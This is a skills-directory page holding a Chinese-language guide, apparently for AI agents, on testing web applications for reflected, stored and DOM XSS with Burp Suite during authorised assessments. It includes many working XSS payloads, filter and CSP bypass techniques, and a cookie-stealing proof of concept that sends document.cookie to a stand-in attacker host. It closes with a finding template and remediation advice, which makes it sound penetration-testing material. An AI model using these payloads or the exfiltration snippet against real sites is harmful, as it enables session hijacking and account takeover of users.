L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

testing-for-xss-vulnerabilities-with-burpsuite

testing-for-xss-vulnerabilities-with-burpsuite

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: testing-for-xss-vulnerabilities-with-burpsuite description: "在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。" domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, xss, burpsuite, owasp, web-security, cross-site-scripting] version: "1.0" author: mahipal license: Apache-2.0

使用 Burp Suite 测试 XSS 漏洞

前置条件

  • 授权:目标应用程序的书面测试范围和交战规则
  • Burp Suite Professional:具有主动扫描能力的授权版本
  • 浏览器:已安装 Burp CA 证书的 Firefox 或 Chromium,配置代理到 127.0.0.1:8080
  • 目标应用程序:具有有效测试凭据的已认证访问

工作流程

步骤 1:配置 Burp Suite 并映射应用程序

设置代理并爬取应用程序,发现所有输入向量。

1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: 添加目标域名(例如 *.target.example.com)
3. Dashboard > New Scan > Crawl only > 选择目标 URL
4. 启用 Passive scanning
5. 安装 Burp CA 并手动浏览应用程序以构建站点地图

验证: 确认 Target > Site map 中显示了目标域的完整路径树。

步骤 2:使用 Burp Repeater 识别反射点

将请求发送到 Repeater 并注入唯一的金丝雀字符串,找出用户输入被反射的位置。

# 注入金丝雀字符串:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com

# 在响应中搜索 "xsscanary12345",记录反射上下文:
# HTML body / 属性 / JavaScript 字符串 / URL

# 测试特殊字符编码处理:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# 检查哪些字符被未编码地反射

验证: 至少识别出一个反射点及其上下文类型,方可继续下一步。

步骤 3:使用上下文特定的 Payload 测试反射型 XSS

根据反射上下文,构造有针对性的 XSS Payload。

# HTML Body 上下文:
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1

# 属性上下文 - 逃脱属性:
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1

# JavaScript 字符串上下文:
GET /search?q=';alert(document.domain)// HTTP/1.1

# 事件处理器上下文:
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1

# 如果尖括号被过滤,尝试 URL 编码:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1

验证: 确认 Payload 在浏览器中触发执行,或在响应中未经编码地反射。

步骤 4:使用 Burp Intruder 测试存储型 XSS

使用 Burp Intruder 对评论、个人资料和消息等输入字段测试存储型 XSS。

# Burp Intruder 配置:
# 1. 右键点击请求 > Send to Intruder
# 2. Positions 选项卡: 标记可注入参数
# 3. Payloads 选项卡: 加载 XSS Payload 列表

# 核心 Payload(覆盖主要标签和事件类型):
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
"><img src=x onerror=alert(1)>

# Grep - Match 添加匹配模式: "alert(1)"、"onerror="

步骤 5:测试 DOM 型 XSS

使用 Burp 的 DOM Invader 识别不安全处理用户输入的客户端 JavaScript。

# 在 Burp 内置浏览器中启用 DOM Invader:
# 1. 打开 Burp 内置的 Chromium 浏览器
# 2. 点击 DOM Invader 扩展图标 > 启用
# 3. 设置金丝雀值(例如 "domxss")

# 关键 Sink: document.write(), innerHTML, eval(), location.href
# 关键 Source: location.hash, location.search, postMessage

# 测试 URL fragment 注入:
https://target.example.com/page#<img src=x onerror=alert(1)>

步骤 6:绕过 XSS 过滤器和 CSP

当基本 Payload 被拦截时,使用高级技术绕过防护措施。

# CSP 分析 - 检查响应头:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com

# 常见 CSP 绕过:
# 如果允许 'unsafe-inline':
<script>alert(document.domain)</script>

# 如果某个 CDN 被加入白名单(例如 cdnjs.cloudflare.com):
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# 过滤器绕过技术:
# 大小写变化: <ScRiPt>alert(1)</ScRiPt>
# 空字节: <scr%00ipt>alert(1)</script>
# 双重编码: %253Cscript%253Ealert(1)%253C/script%253E
# HTML 实体: <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
# Unicode 转义: <script>\u0061lert(1)</script>

# 在 Burp Suite > BApp Store 中安装 "Hackvertor"
# 使用 Hackvertor 标签对 Payload 进行编码:
# <@hex_entities>alert(document.domain)<@/hex_entities>

步骤 7:验证影响并记录发现

确认可利用性并记录完整的攻击链。

# 概念验证 — Cookie 窃取(演示会话劫持影响):
<script>
fetch('https://attacker-server.example.com/steal?c='+document.cookie)
</script>
# 根据需要替换为键盘记录器或截图 PoC 以演示更高影响

# 记录清单: URL/参数、Payload、执行截图、影响评估、复现步骤

验证: PoC 在受控环境中成功执行。

补充工具

  • XSS Hunter: 盲 XSS 检测平台,捕获带外执行证据
  • Dalfox: CLI XSS 扫描工具,支持参数分析(go install github.com/hahwul/dalfox/v2@latest)
  • CSP Evaluator: Google 提供的 CSP 有效性分析工具

输出格式

## XSS 漏洞发现

**漏洞类型**: 存储型跨站脚本(XSS)
**严重级别**: 高危(CVSS 8.1)
**位置**: POST /api/comments → `body` 参数
**类型**: 存储型 XSS
**OWASP 类别**: A03:2021 - 注入

### 复现步骤
1. 访问 https://target.example.com/blog/post/123
2. 提交评论,正文为: <img src=x onerror=alert(document.domain)>
3. 重新加载页面;Payload 在浏览器中执行

### 影响
- 通过 Cookie 窃取对所有查看该页面用户进行会话劫持
- 通过会话令牌外泄实现账户接管
- 博客文章页面被篡改
- 通过注入的登录表单进行钓鱼攻击

### CSP 状态
- 不存在 Content-Security-Policy 头
- 未设置 X-XSS-Protection 头

### 修复建议
1. 实施上下文感知的输出编码(HTML 上下文使用 HTML 实体编码)
2. 部署带严格 nonce 脚本白名单的内容安全策略
3. 对用户生成的 HTML 内容使用 DOMPurify 库进行清洗
4. 在会话 Cookie 上设置 HttpOnly 和 Secure 标志
5. 添加 X-Content-Type-Options: nosniff 响应头
Skills enregistrées